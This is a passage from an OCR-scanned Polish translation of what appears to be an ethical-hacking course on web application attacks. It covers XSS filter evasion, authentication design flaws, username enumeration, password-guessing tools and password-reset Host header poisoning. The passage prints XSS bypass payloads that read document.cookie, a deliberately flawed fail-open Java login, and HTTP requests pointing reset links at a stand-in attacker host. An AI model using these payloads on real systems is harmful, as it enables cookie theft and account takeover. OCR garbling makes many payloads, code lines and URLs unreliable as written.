o Pliki cookie, znaczniki pikselowe, pamie¢ podreczna aplikacji, pamiec internetowa przegladarki i pliki
dziennika serwera



Wykonaj przeglad kodu zrédtowego

Préba uzyskania kodu Zrédtowego docelowej aplikacji internetowej. Po uzyskaniu kodu zrédtowego
sprawdz kod, aby zrozumieé¢ komponenty, frameworki itp., a takze ich dziatanie, aby zidentyfikowaé
wszelkie istniejace luki w kodzie. To badanie moze dostarczy¢ informacji o réznych funkcjach, takich
jak usuwanie sprawdzania poprawnosci danych wejsciowych po stronie klienta, przesytanie
niestandardowych danych do serwera, manipulowanie stanami lub zdarzeniami po stronie klienta lub
bezposrednie wywotywanie funkcji obecnych w komponencie. Przeprowadz przeglad kodu
zrédtowego, aby zidentyfikowaé nastepujgce funkcjonalnosci komponentu docelowego:

Sprawdzanie poprawnosci danych wejsciowych po stronie klienta lub inne logiki i zdarzenia zwigzane
z bezpieczenstwem

Techniki zaciemniania lub szyfrowania stosowane do danych klienta przed ich przestaniem na serwer
Modyfikowalne komponenty z ukrytymi funkcjami po stronie klienta

Odwotania do funkcjonalnosci po stronie serwera

Unikaj filtréw XSS

Implementacje filtrow XSS sg stosowane w przegladarkach internetowych, aby chronié¢ je przed
nieuchronnymi atakami XSS; jednak atakujgcy moga narazic je na ataki, wprowadzajac nietypowe znaki
do kodu HTML, dzieki czemu mogg oming¢ implementacje filtrow. Atakujgcy mogg osadzi¢ szkodliwy
JavaScript w aplikacji internetowej na wiele sposobdw. Jednak najnowsze przegladarki s3 wdrazane z
silnymi Srodkami bezpieczenstwa; dlatego wstrzykiwanie skryptu czasami koriczy sie niepowodzeniem.
Dlatego osoby atakujgce czesto prébujg nie tylko wykorzysta¢ wady projektowe aplikacji, ale takze
oming¢ procesy oceny danych wejsciowych przeprowadzane przez serwer lub aplikacje, aby oszukaé
skomplikowane filtry przegladarki. Ataki XSS zwykle wykorzystujg niewtasciwe konfiguracje i
implementacje zabezpieczen przegladarki, podczas gdy metody omijania filtrow sg przeprowadzane
poprzez wykorzystanie luk w filtrach po stronie serwera lub przegladarki, celujgc w okreslone wersje
lub produkty. Wiekszo$¢ kodu przegladarki jest napisana z zachowaniem odpowiednich srodkéw
bezpieczenstwa w celu obstugi nieprawidtowego kodu HTML, JavaScript i CSS w celu ich naprawy przed
dostarczeniem do uzytkownikéw koncowych. Pomijanie filtréw XSS wykorzystuje tak skomplikowang
kompozycje specyfikacji, wyjgtkéw, jezykdéw i innych cech przegladarki do wstrzykiwania skryptéw
przez filtry bez pozostawiania $ladu. Ponizej omdwiono rdzne techniki omijania filtréw XSS:
Wstawianie znacznikéw <script> do kodu jest niedozwolone w ogdlnym kontekscie. Jednak niektére
inne tagi HTML pozwalajg na te nietypowe wstrzykniecia. Programy obstugi zdarzen sa
wykorzystywane do uruchamiania okreslonych skryptéw odpowiadajgcych akcjom autoryzowanego
uzytkownika. Ogdlnie rzecz biorgc, procedury obstugi zdarzen, takie jak <onfocus>, <onerror> i
<onclick>, mozna wykorzystac¢ do obejscia filtréw XSS.

Kodowanie znakow

Atakujgcy mogg osadzac rézne znaki na rdzne sposoby, aby omingé filtry, ktére koncentrujg sie na
sprawdzaniu tekstu w celu wykrycia niechcianych ciggédw znakéw. Podejscia do kodowania znakéw
obejmuja:

o Kilka lub wszystkie znaki elementéw HTML mozna zapisa¢ przy uzyciu kodéw ASCII, aby unikngc
filtréw wyszukujgcych ciggi znakdw, takich jak <javascript>:

<a href= "&#106/avascript:alert('XSS Successful')"> Click Here!</a>



o Kodowanie szesnastkowe mozna wykorzysta¢ do ominiecia filtrow wyszukujgcych elementy HTML
poprzez skanowanie w poszukiwaniu &# wraz ze znakami numerycznymi:

<a href="&#6A;avascript:alert(document.cookie)"> Click here!</a>

o Kodowanie Base64 mozna wykorzysta¢ do zakrycia sladéw kodu ataku; wyskakuje alert z napisem
»Successful XSS”:

<body onload="eval(atob('U3VjY2Vzc2ZIbCBYUIM="))">

o Osadzone elementy znakowe pochodzg z cyfr 1-7, unikajgc poczatkowych zer. Dlatego dozwolona
jest dowolna kompozycja wypetnienia zerowego:

<a href="&4#x6A;avascript&#0000058&#00000971ert('Successful XSS')"> Click Here!</a>
o tadunki XSS mozna ukry¢ za pomocg koddw znakdw:

<iframe zrédto=#onmouseclick=alert(String.fromCharCode(88,83,83))X/iframe>
Osadzanie biatych znakéw

Przegladarki umozliwiaja wygodne uzywanie biatych znakéw podczas pisania kodu JavaScript lub
HTML. W ten sposéb osoby atakujgce mogg tatwo omingc filtry, wstawiajgc znaki niedrukowalne.

o Podczas przetwarzania kodu unika sie spacji tabulacji; mozna je wywotaé, aby podzieli¢ stowa
kluczowe. Rozwaz ten tag <img>:

<img src="java script:al ert ('Successful XSS')">
0 Mozesz takze zakodowac spacje tabulacji:
<img src="java&#x09;script:al&#x09;ert('Sukces XSS')">

o Podobnie znaki powrotu karetki i nowej linii nie sg brane pod uwage podczas przetwarzania; w ten
sposdb osoby atakujgce mogg réwniez zakodowac te znaki pomiedzy:

<a href ="javS#x0A;a

Script:&#x0A;ale&#x0Drt; ('Successful

XSS')">Visit xyz.com</a>

Manipulowanie znacznikami

Obejscie filtra XSS mozna réwniez wykona¢ poprzez manipulowanie tagami i pomijanie atrybutow.

o Gdy filtr sprawdza skrypt i usuwa okreslone tagi (gtdéwnie <script>), umieszczenie ich w innych tagach
moze pozostawic poprawny kod po ich usunieciu:

<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

o Atrybuty i tagi mozna rozdzieli¢, podajgc ukosnik, ktéry pomaga omingé ograniczenia dotyczace
biatych znakéw podczas wstawiania wartosci:

<img/src="popup.jpg"onload=&#x6A;avascript:eval(alert('Powodzenie&#32XSS'))>

o Atakujgcy wykorzystujg rdwniez interpretacje przegladarki i nieprawidtowe dane wejsciowe tagow,
aby omingc filtry. Ponizszy przyktad pokazuje, jak poming¢ znacznik <href>:



<a onmousedown=alert(document.cookie)> visit xyz.com</a>
Mechanizm uwierzytelniania atakéw

Ogdlnie rzecz biorgc, aplikacje internetowe uwierzytelniajg uzytkownikéw za pomocg mechanizméw
uwierzytelniania, takich jak funkcja logowania. Podczas analizy aplikacji internetowych osoby
atakujgce probuja znalezé luki w zabezpieczeniach uwierzytelniania, takie jak stabe hasta (np. krotkie
lub puste, popularne stowa lub nazwy ze stownika, nazwy uzytkownikéw, ustawienia domysine).
Atakujgcy wykorzystujg te luki w celu uzyskania dostepu do aplikacji internetowej poprzez
podstuchiwanie sieci, ataki sitowe, ataki stownikowe, ataki polegajace na odtwarzaniu plikdw cookie,
kradziez danych uwierzytelniajgcych itp. Wiekszos¢ mechanizmdéw uwierzytelniania uzywanych przez
aplikacje internetowe ma wady projektowe. Atakujgcy mogg zidentyfikowac te luki i wykorzystac je w
celu uzyskania nieautoryzowanego dostepu do aplikacji internetowej. Takie wady projektowe
obejmuja brak sprawdzenia sity hasta, niepewng transmisje danych uwierzytelniajgcych przez Internet
itp. Aplikacje internetowe zwykle uwierzytelniajg swoich klientdw lub uzytkownikéw za pomoca
kombinacji nazwy uzytkownika i hasta, ktére mozna zidentyfikowac i wykorzystac.

Wyliczanie nazwy uzytkownika

Atakujacy mogg wylicza¢ nazwy uzytkownikéw na dwa sposoby: petne komunikaty o btedach i
przewidywalne nazwy uzytkownikéw.

Szczegotowy komunikat o btedzie

W typowym systemie logowania uzytkownik wprowadza dwa pola, a mianowicie nazwe uzytkownika i
hasto. W niektdrych przypadkach aplikacja poprosi o dodatkowe informacje. Jesli uzytkownik prébuje
sie zalogowac i nie powiedzie sie, oznacza to, ze co najmniej jedno pole byto nieprawidtowe. Daje to
atakujgcemu podstawy do wykorzystania aplikacji.

Przykfady:

* Nie znaleziono konta <nazwa uzytkownika>

e Konto <nazwa uzytkownika> zostato zablokowane
* Przewidywalne nazwy uzytkownikéw

Niektére aplikacje automatycznie generujg nazwy uzytkownikéw kont zgodnie z pewng przewidywalng
sekwencjg. Utatwia to atakujgcemu rozpoznanie sekwencji potencjalnie wyczerpujgcej listy wszystkich
prawidtowych nazw uzytkownikéw.

Ataki na hasta

Atak hastem to proces wyprébowywania réznych technik tamania haset w celu odnalezienia hasta do
konta uzytkownika, za pomocg ktérego osoba atakujgca moze uzyskaé dostep do aplikacji. Metody
tamania haset obejmuja:

o Exploity zwigzane z funkcjonalnoscig hasta
o Odgadywanie hasta

o Brutalny atak

o Atak stownikowy

o Atak na mechanizm resetowania hasta



Ataki sesyjne
Atakujgcy na mechanizmy uwierzytelniania stosujg nastepujgce rodzaje atakéw sesyjnych:

o Przewidywanie sesji: Koncentruje sie na przewidywaniu wartosci identyfikatora sesji, ktére pozwalajg
atakujgcemu oming¢ mechanizm uwierzytelniania aplikacji. Analizujgc i rozumiejgc proces
generowania identyfikatora sesji, osoba atakujgca moze przewidzie¢ prawidtowg wartosé
identyfikatora sesji i uzyskac dostep do aplikacji.

o Brutalne wymuszanie sesji: osoba atakujgca brutalnie wymusza identyfikator sesji uzytkownika
docelowego i uzywa go do zalogowania sie jako legalny uzytkownik i uzyskania dostepu do aplikacji.

0 Zatruwanie sesji: umozliwia atakujgcemu wstrzykniecie ztosliwej zawartosci, modyfikacje korzystania
z Internetu przez uzytkownika i uzyskanie nieautoryzowanych informacji.

Wykorzystywanie plikdw cookie
Ataki wykorzystujgce pliki cookie dzielg sie na nastepujace rodzaje:

o Cookie poisoning: Jest to rodzaj ataku polegajacego na manipulowaniu parametrami, w ktorym
osoba atakujgca modyfikuje zawartos$é plikdw cookie w celu uzyskania nieautoryzowanych informacji
o uzytkowniku, a tym samym dokonania kradziezy tozsamosci.

o0 Wachanie plikdw cookie: Jest to technika, w ktorej osoba atakujgca wyszukuje plik cookie zawierajgcy
identyfikator sesji ofiary, ktéra zalogowata sie na docelowej stronie internetowej, i uzywa tego pliku
cookie do ominiecia procesu uwierzytelniania i zalogowania sie na konto ofiary.

o Powtdrka plikow cookie: Jest to technika uzywana do podszywania sie pod legalnego uzytkownika
poprzez ponowne odtworzenie sesji/pliku cookie zawierajgcego identyfikator sesji tego uzytkownika
(o ile pozostaje on zalogowany). Ten atak przestaje dziata¢, gdy uzytkownik wyloguje sie z sesji.

Pomin uwierzytelnianie

o Omijanie logowania jednokrotnego opartego na SAML: atakujgcy wykorzystujg btedne konfiguracje
sygnatur, przekroczenia limitu czasu sesji, powtérki sesji, zle skierowane wiadomosci SAML itp., aby
oming¢ uwierzytelnianie SSO oparte na SAML.

Wady projektowe mechanizmu uwierzytelniania

Mechanizmy uwierzytelniania sg bardziej podatne na ataki niz inne implementacje zwigzane z
bezpieczenstwem aplikacji internetowych. Aplikacje zwykle weryfikujg uzytkownika za pomocg jego
danych logowania; nawet niewielka stabos¢ w tym procesie uwierzytelniania moze prowadzi¢ do
powaznych konsekwencji, takich jak przyznanie dostepu nielegalnym uzytkownikom.

Zte hasta: Kazda aplikacja jest zaprojektowana tak, aby mie¢ minimalng kontrole nad sprawdzaniem i
weryfikowaniem poswiadczen uzytkownika. Uzytkownicy czesto napotykajg aplikacje, ktore akceptuja
hasta, takie jak puste lub krotkie wartosci, zwykte nazwy, stowa ze stownika, to samo hasto co nazwa
uzytkownika i parametry domyslne. Takie hasta mogg by¢ fatwo odgadniete przez atakujacych,
umozliwiajac im dostep do zasobdw aplikacji.

Brute-Forcible Login: funkcja logowania aplikacji umozliwia atakujgcemu przewidzenie danych
uwierzytelniajgcych uzytkownika, za pomocg ktérych osoba atakujgca moze nielegalnie wejs¢ do
aplikaciji. Jesli aplikacja zezwala na wiele préb logowania bez zadnych ograniczen, takich jak blokowanie
konta po okreslonej liczbie préb, atakujacy mogg prébowad rdéinych haset, dopdki nie znajdg



wiasciwego. W ten sposdb nawet nieprofesjonalny haker moze sie zalogowaé, recznie wprowadzajac
rozne kombinacje haset.

Petne komunikaty o btedach: Kazdy formularz logowania do aplikacji wymaga od uzytkownikéw
podania co najmniej dwdch pdl, a mianowicie nazwy uzytkownika i hasta. Kilka aplikacji moze rowniez
poprosi¢ o dodatkowe parametry, takie jak DOB, odpowiedZ na pytanie zabezpieczajace i kod PIN OTP,
aby zweryfikowac¢ uzytkownika. Jedli proba logowania nie powiedzie sie, aplikacja poinformuje, ze
podane informacje sg nieaktualne. Gdy aplikacja okresla, ktére pole jest nieprawidtowe lub wyswietla
powody odmowy dostepu, osoby atakujgce moga tatwo wykorzystac to pole, probujgc duzego zestawu
podobnych nazw lub stéw w celu wyliczenia prawidtowych danych wymaganych do uzyskania dostepu
do aplikacji. Lista wyliczonych danych moze by¢ réwniez pdzniej wykorzystana do socjotechniki.

Niebezpieczna transmisja poswiadczen: jesli aplikacja nawigzuje niezabezpieczone potaczenie http w
celu przekazania poufnych informacji, staje sie podatna na ataki MITM, za pomocga ktérych osoby
atakujgce moga podstuchiwac i utrudnia¢ transmisje danych. Mimo nawigzania potgczenia HTTPS
osoby atakujagce moga nadal ukras¢ poswiadczenia, jesli aplikacja obstuguje je w sposéb
niezabezpieczony, na przyktad przekazuje informacje jako parametry ciggu zapytania i przechowuje
poswiadczenia w plikach cookie.

Mechanizm resetowania hasta: W wiekszosci aplikacji mechanizm resetowania hasta jest obowigzkowy
i stosowany okresowo w celu zmniejszenia zagrozenia zwigzanego z przejeciem haset. Co wiecej, gdy
uzytkownicy zauwazg niewtasciwe uzycie swoich danych uwierzytelniajgcych, mogg zmienié sposdb
korzystania z nich. Czasami mozna réwniez wykorzysta¢ te funkcje resetowania hasta. Luki, ktére sg
ignorowane w gtéwnej funkcji logowania, moga ponownie pojawic¢ sie w mechanizmie resetowania
hasta. Oto niektére wady mechanizmu resetowania hasta:

o Generowanie petnego btedu, okreslajgcego, czy nazwa uzytkownika jest poprawna
o Umozliwienie odgadywania pola , Istniejgce hasto” bez zadnych ograniczen

o Sprawdzenie, czy pola ,,Nowe hasto” i ,PotwierdZ hasto” zawierajg te same wartosci dopiero po
uwierzytelnieniu istniejgcego hasta, co umozliwia atakowi skuteczne zidentyfikowanie istniejgcego
hasta

Mechanizm zapomnianego hasta: Podobnie jak w przypadku mechanizmu zmiany hasta, metody
odzyskiwania zapomnianego hasta czesto pociggajg za sobg problemy, ktére sg zwykle ignorowane w
gtéwnej funkcji logowania, takie jak wyliczanie nazw uzytkownikédw. Ponadto kilka btedéw
projektowych w mechanizmie zapomnianego hasta czesto czyni go bardziej podatnym na ataki, przez
co ukierunkowana jest ogdlna logika uwierzytelniania aplikacji. Niektére wady mechanizmu
zapomnianego hasta sg nastepujace:

0 Zapewnienie dodatkowego wyzwania, gdy uzytkownik zapomni hasta

o Deweloperzy czesto ignorujg szanse, ze aplikacja zostanie brutalnie wymuszona podczas procesu
odzyskiwania hasta. Jesli aplikacja dopuszcza dowolng liczbe préob odzyskania hasta, jest wysoce
prawdopodobne, ze hasto zostanie odzyskane poprzez odgadniecie losowych odpowiedzi zwigzanych
z uzytkownikiem

Funkcja ,Zapamietaj mnie”: Aplikacje udostepniajg rowniez funkcje ,Zapamietaj mnie” dla wygody,
aby unikngé ponownego wprowadzania nazwy uzytkownika i hasta, gdy uzytkownik wielokrotnie
prébuje zalogowac sie do aplikacji ze swojego urzadzenia. Ten mechanizm jest czesto podatny na ataki,
poniewaz uzytkownik moze zostaé zaatakowany zaréwno z komputera lokalnego, jak i uzytkownikow



na innych komputerach. Funkcje ,Zapamietaj mnie” sg wymuszane przez niektére trwate pliki cookie.
Kiedy te pliki cookie sg inicjowane, aplikacja ufa im, poniewaz byly juz przechowywane we
wczesniejszej sesji i generuje nowa sesje bez ponownego pytania o dane logowania. Atakujgcy moga
wyprobowac liste zwyktych stéw lub wyliczonych nazw uzytkownikéw, aby uzyskaé petny dostep do
aplikacji bez sprawdzania poprawnosci.

Podszywanie sie pod uzytkownika: niektérzy uprzywilejowani uzytkownicy uzyskujg dostep do aplikacji
przy uzyciu innych poswiadczen uzytkownika, aby pomdc oryginalnym uzytkownikom w wykonywaniu
ich operacji. Na przyktfad, jesli potgczenie internetowe zostanie zerwane, uzytkownik kontaktuje sie z
ustugodawcag w celu uzyskania porady. Nastepnie kierownik ds. obstugi klienta loguje sie za pomocg
danych uzytkownika w swoim systemie i pomaga uzytkownikowi w rozwigzaniu problemu z przerwa w
dziataniu ustugi. Jesli aplikacja umozliwia uprzywilejowanym uzytkownikom podszywanie sie pod inne
osoby, wszelkie btedy w logice podszywania sie mogg prowadzi¢ do pionowej eskalacji uprawnien,
przez co osoba atakujgca moze uzyskac petny dostep do aplikacji.

Niewtasciwa weryfikacja poswiadczen: aplikacje sg zaprojektowane z odpowiednimi mechanizmami
uwierzytelniania, takimi jak akceptowanie haset o minimalnej dtugosci i uwzglednianie wielkosci liter
(matych i wielkich liter), cyfr i znakéw specjalnych. Natomiast Zle zaprojektowane mechanizmy
uwierzytelniania aplikacji nie tylko ignorujg dobre implementacje zabezpieczen, ale takze nie biorg pod
uwage préb uzytkownika zastosowania silnych znakdw hasta. Na przyktad niektére aplikacje skracajg
hasto i oceniajg tylko kilka pierwszych znakéw. Niektdre aplikacje sprawdzajg hasta bez rozrézniania
wielkosci liter, a inne wykonujg nietypowe usuwanie znakéw przed sprawdzeniem hasta. Atakujgcy
moga przeprowadzac zautomatyzowane ataki polegajgce na odgadywaniu hasta na takie aplikacje, aby
usuna¢ niechciane przypadki testowe i skrécic liczbe zgdan wymaganych do przejecia konta.

Przewidywalne nazwy uzytkownikéw i hasta: kilka aplikacji tworzy nazwy uzytkownikéw automatycznie
na podstawie przewidywalnej sekwencji. Atakujgcy wykorzystujg te ceche aplikacji i natychmiast
pozyskujg wazng liste nazw uzytkownikéw, za pomocy ktérej mogg przeprowadzac dalsze ataki.
Czasami lista uzytkownikéw jest tworzona jednoczesnie lub w formie grup, a poczatkowe hasta
wszystkich tych uzytkownikéw sa rozpowszechniane za posrednictwem niektérych zrédet. Zrédta
tworzenia haset mogg pozwolié atakujgcemu na odgadniecie haset uzytkownikéw. Takie luki sg czesto
wyzwalane w srodowisku intranetowym.

Niebezpieczna dystrybucja danych uwierzytelniajgcych: wiekszos¢ aplikacji stosuje procedure, w ktérej
dane logowania sg dostarczane za posrednictwem wiadomosci SMS, e-mail, poczty itp. W niektérych
przypadkach uzytkownicy otrzymujg nie tylko dane logowania, ale takze adres URL sktadajacy sie z
»aktywacji code”, aby zmienic hasta wygenerowane przez system lub wygenerowane poczatkowo. Jesli
kilka takich adreséw URL zostanie wystanych do tych samych uzytkownikéw, osoby atakujgce moga
wykry¢ te aktywnos¢, rejestrujgc wiele kont uzytkownikéw i wydedukowaé kody aktywacyjne wysytane
za posrednictwem adresow URL do nowo zarejestrowanych i tych, ktérzy jeszcze nie zostang
zarejestrowani.

Btedy implementacyjne w mechanizmie uwierzytelniania

Czasami starannie zaprojektowane mechanizmy bezpieczenstwa aplikacji otwierajg bramy do atakéw
z powodu btedow w ich egzekwowaniu. Btedy te mogg doprowadzi¢ do wycieku informacji, obejscia
zabezpieczen logowania lub ostabienia catego modutu bezpieczeistwa. Wady implementac;ji
uwierzytelniania s bardziej niebezpieczne, poniewaz nie mozna ich wykry¢ za pomoca normalnych
metod testowania. Oto niektére z wad implementacji mechanizmodw uwierzytelniania:



Fail-Open Login Mechanism: Jest to defekt logiczny, ktéry prowadzi do znaczgcych konsekwencji w
procesie uwierzytelniania. Na przyktad wywotanie db.getUser() moze wyzwoli¢ pewne wyjatki, takie
jak wyjatek pustego wskaznika, poniewaz zgdana funkcja nie ma poswiadczen nazwy uzytkownika ani
hasta, ale nadal moze sie zalogowac. Ta sesja moze by¢ zalezna od okreslonej tozsamosci uzytkownika;
w zwigzku z tym, nawet jesli nie jest w petni funkcjonalny, nadal moze umozliwia¢ atakujgcym dostep
do krytycznych informac;ji lub funkcji.

Przyktad,
Public Response verifyLogin(Session mySession) {

try {

String username = mySession.getParameter ("username");
String password = mySession.getParameter ("password");
User thisUser = db.getUser (username, password);

if (thisUser == null) {

//invalid credentials

mySession.setMessage ("Login Failed.");

return doLogin(mySession);

}
}

catch (Exception e) {}

//valid user

mySession.setMessage ("Login successfull");
return doMainMenu(mySession);

}

Wady funkcjonalnosci logowania wieloetapowego: Funkcja logowania wieloetapowego to
zaawansowany mechanizm bezpieczenstwa dla modeli logowania opartych na nazwie uzytkownika i
hasle. Ta metoda logowania odbywa sie w trzech etapach: wprowadzenie nazwy uzytkownika i hasta,
wyzwanie dla niektdrych wprowadzonych cyfr lub znakéw do zapamietania oraz przekazanie wartosci
ujawnione przy zmianie tokena fizycznego. Pierwszy etap polega na tym, ze uzytkownicy weryfikuja sie
za pomoca swojej nazwy uzytkownika lub innych prawidtowych danych wejsciowych, a pozostate etapy
przeprowadzajg rézne kontrole walidacyjne. Takie walidacje czesto wigzg sie z réznymi lukami w
zabezpieczeniach, znanymi jako defekty logiczne. Niebezpieczne przechowywanie poswiadczen:
chociaz aplikacja moze nie mie¢ zadnych wad, moze narazi¢ sie na niebezpieczenstwo, przechowujac
dane logowania w niezabezpieczony sposdb. Ogdlnie rzecz bioragc, aplikacje przechowujg
poswiadczenia uzytkownika w bazie danych w postaci niezaszyfrowanej. Niektére aplikacje uzywaja
stabych algorytmdéw szyfrowania do szyfrowania i przechowywania poswiadczen. Luki w
zabezpieczeniach takich implementacji umozliwiajg atakujgcym przeprowadzanie atakéw typu brute-
force i famania haset.



Wyliczanie nazwy uzytkownika

Jesli bfad logowania wskazuje, ktéra nazwa uzytkownika lub hasto jest nieprawidtowe, to pole mozna
odgadngé metodg prob i btedéw. Rozwaz nastepujacy przyktad. Atakujgcy prébuje wyliczyé nazwe
uzytkownika i hasto ,Rini Matthews” na wordpress.com. Przy pierwszej prébie atakujacy prébuje
zalogowac sie jako ,rini.matthews”, co powoduje wyswietlenie komunikatu o niepowodzeniu
logowania ,,nieprawidtowy adres e-mail lub nazwa uzytkownika”.

W drugiej prébie atakujgcy prdobuje zalogowac sie jako ,rinimatthews”, co skutkuje wyswietleniem
komunikatu informujgcego, ze hasto wprowadzone dla nazwy uzytkownika jest nieprawidtowe, co
potwierdza, ze nazwa uzytkownika ,rinimatthews” istnieje.

Uwaga: wyliczanie nazwy uzytkownika z petnych komunikatéw o btedach nie powiedzie sig, jesli
aplikacja ma zasady blokowania konta, zgodnie z ktérymi konto jest automatycznie blokowane po
okreslonej liczbie nieudanych préb logowania.

Niektére aplikacje automatycznie generujg nazwy uzytkownikéw kont na podstawie sekwencji (np.
,userlOl”, ,userl02”). Dlatego osoby atakujgce mogg przeprowadzi¢ wyliczanie nazw uzytkownikow,
okreslajac odpowiednig kolejnos¢. Atakujgcy mogg réowniez uzywaé narzedzi, takich jak massh-enum
(https://github.com), aby przeprowadza¢ automatyczne wyliczanie uzytkownikow w docelowej
aplikacji internetowe;j.

Ataki na hasta: luki w funkcjonalnosci haset

Zmiana hasta: Okresl funkcje zmiany hasta w aplikacji, przechwytujac aplikacje lub tworzac konto
logowania. Wyprobuj losowe ciggi znakdw w polach ,Stare hasto”, ,Nowe hasto” i ,,Potwierdz nowe
hasto” oraz analizuj btedy, aby zidentyfikowac luki w funkcji zmiany hasta.

Odzyskiwanie hasta: funkcje ,,Zapomniatem hasta” zazwyczaj stanowia wyzwanie dla uzytkownika; jesli
liczba prob nie jest ograniczona, atakujacy moze odgadnac odpowiedz i pomysinie rozwigza¢ wyzwanie
za pomocg socjotechniki. Aplikacje mogg réwniez wysta¢ unikalny adres URL odzyskiwania lub
istniejgce hasto na adres e-mail podany przez atakujgcego, jesli wyzwanie zostanie rozwigzane.

Exploit ,,Remember Me”: Funkcje ,,Remember Me” sg implementowane przy uzyciu prostego trwatego
pliku cookie, takiego jak RememberUser=jason lub trwatego identyfikatora sesji, takiego jak
RememberUser=ABY112010. Atakujacy mogg uzy¢ wyliczonej nazwy uzytkownika lub przewidziec¢
identyfikator sesji, aby omingé mechanizmy uwierzytelniania.

Ataki na hasta: odgadywanie haset

Jak sama nazwa wskazuje, zgadywanie hasta to proces odgadywania mozliwych stéw kluczowych
uzytkownika, ktére mogg stanowic¢ hasto do konta, az w koricu dotrg do wtasciwego. Aby odgadng¢
hasta, atakujgcy uzywaja technik, takich jak listy haset i stowniki haset.

Lista haset

Wiekszos¢ stow kluczowych uzytych do przygotowania listy haset obejmuje okreslone stowa
codziennego uzytku, takie jak data urodzenia, nazwa ulicy, pseudonim, data rocznicy, numer telefonu,
numer PIN, imie rodzica lub przyjaciela oraz imie zwierzaka. Utwodrz liste mozliwych haset, korzystajac
z najczesciej uzywanych haset, a takze technik socjotechnicznych i prébuj kazdego hasta, az zostanie
odkryte prawidtowe hasto.

Stownik haset



Stownik haset to zbiér kombinacji stéw i liczb, ktére mogg by¢ hastami. Ten rodzaj ataku oszczedza czas
w porownaniu z atakiem brute force. Utwdrz stownik wszystkich mozliwych haset za pomocg narzedzi
takich jak Dictionary Maker do przeprowadzania atakdéw stownikowych.

Narzedzia

Odgadywanie hasta mozna przeprowadzi¢ recznie lub za pomocg zautomatyzowanych narzedzi, takich
jak TFICHydra, Burp Suite, LOphtCrack, ophcrack i RainbowCrack.

THC-Hydra

THC-Hydra to cracker do logowania do sieci, ktory obstuguje wiele réznych ustug, takich jak IPv6 i
Internationalized RFC 4013. Jest wyposazony w graficzny interfejs uzytkownika i obstuguje proxy HTTP
i proxy SOCKS. Ponadto wykorzystuje rozne metody uwierzytelniania ustug, w tym Firebird, FTP, IMAP,
LDAP, MS-SQL, RDP, SMTP, SNMP i Telnet.

Ataki na hasta: brutalne wymuszanie

Brute-force to kolejna metoda uzywana do tamania haset. Zgadywanie staje sie kluczowe, gdy hasto
jest dtugie lub zawiera duze i mate litery. Jesli uzywane sg cyfry i symbole, odgadniecie hasta moze
zajac kilka lat, co jest niepraktyczne. Sprébuj ztamac hasto, wyprébowujgc wszystkie mozliwe wartosci
z zestawu znakdw alfabetycznych, numerycznych i specjalnych. Uzyj narzedzi do famania haset, takich
jak Burp Suite, aby ztamac hasto.

Narzedzia do tamania haset
Ponizej opisano niektére narzedzia do tamania haset typu brute-force.
Burp Suite

Burp Suite to zintegrowana platforma do przeprowadzania testéw bezpieczenstwa aplikacji
internetowych. Posiada rdézine narzedzia, ktére wspodtpracujg ze sobg, wspierajac caty proces
testowania, od wstepnego mapowania i analizy powierzchni ataku aplikacji po znajdowanie i
wykorzystywanie luk w zabezpieczeniach.

Wbudowane narzedzia Burp Suite

o Przechwytujacy serwer proxy do sprawdzania i modyfikowania ruchu miedzy przegladarka a aplikacja
docelowa

0 Rozpoznajacy aplikacje pajgk do indeksowania tresci i funkcjonalnosci
o Skaner aplikacji internetowych do automatyzacji wykrywania wielu typéw luk w zabezpieczeniach

o Narzedzie intruza do przeprowadzania niestandardowych atakéw w celu znalezienia i wykorzystania
nietypowych luk w zabezpieczeniach

o Narzedzie Repeater do manipulowania i ponownego wysytfania indywidualnych zgdan
o Narzedzie sekwencera do testowania losowosci tokenow sesji

Oto niektére dodatkowe narzedzia do famania haset:

LOphtCrack ( https://I0phtcrock.gitlob.io )

ophcrack (https://ophcrock.sourceforge.io)



RainbowCrack (https://project-roinbowcrock.com)

Windows Password Recovery Tool (https://www.windowsposswordsrecovery.com)
Dictionary Maker ( http://dictionorymoker.sourceforge.net )

Ataki na hasto: Atak na mechanizm resetowania hasta

Niepewne praktyki zarzadzania hastami prowadzg do krytycznych luk w zabezpieczeniach. Jedng z
takich luk w zabezpieczeniach jest zatruwanie hasta, ktére jest wykorzystywane przez osobe atakujaca
do wykorzystania nagtéwkéw, takich jak Host, w komunikacie zagdania HTTP. Resetowanie hasta jest
czesto uzywang funkcjg, z ktorej korzysta uzytkownik, gdy zapomni hasta i musi je zresetowad.
Uzytkownik otrzymuje wiadomos¢ e-mail z linkiem do zapomnienia hasta, zawierajgcym jednorazowy
token, a po kliknieciu tgcza serwer odpowiada strong resetowania hasta. Rozwazmy na przyktad
nastepujgce zgdanie HTTP, w ktdrym osoba atakujgca uzywa nagtdwka hosta do przeprowadzenia
ataku:

GET https://certifiedhacker.com/reset.php?Gmail=foo@bar.com
HTTP/1.1

Host: badhost.com

Do ofiary wysytany jest nastepujacy link do resetowania hasta:
SresGtPwdURL = "https://{S_SERVER[ 1 HTTP_HOST 1 ]}/rGSGt-
pwdd.php?token=87654321-8765-8765-8765-10987654321";

Wyzej wymieniony link URL jest wstrzykiwany do wiadomosci e-mail dotyczacej resetowania hasta i
wysytany do ofiary. Poniewaz programisci oczekuja, ze $_SERVER['HTTP_HOST' ] bedzie pochodzi¢ z
cGrtifiGdhacker.com, nie przeprowadzajg dodatkowych kontroli poprawnosci danych wejsciowych.
Atak polegajacy na zatruciu resetowaniem hasta obejmuje nastepujace kroki:

Krok 1: Atakujacy uzyskuje adres e-mail celu uzywany w witrynie za pomocag technik takich jak
socjotechnika i OSINT.

Krok 2: Atakujgcy wysyfa link zadania zresetowania hasta do ofiary, uzywajgc zmienionego nagtéwka
hosta. Na przyktad,

POST https://certifiedhacker.com/reset.php HTTP/1.1

Accept: */*

ContGnt-TypG: application/json

Host: badhost.com

Wynikowy adres URL do resetowania hasta to
https://badhost.com/reset-password.php?tokGn=87654321-8765-
8765-8765-10987654321

Krok 3: Teraz atakujacy czeka, az ofiara otrzyma zmodyfikowang wiadomos¢ e-mail.

Krok 4: Gdy ofiara kliknie ztosliwy link osadzony w wiadomosci e-mail, atakujgcy wyodrebnia token
resetowania hasta. Za pomocg tego tokena osoba atakujgca wykonuje rézne ztosliwe dziatania, takie



jak klonowanie aplikacji internetowych w celu kradziezy danych uwierzytelniajgcych uzytkownika lub
dziatanie jako serwer proxy i nasladowanie zachowania i zawartosci oryginalnej witryny internetowe;j.

Ataki sesji: Przewidywanie identyfikatora sesji/Brutalne wymuszanie

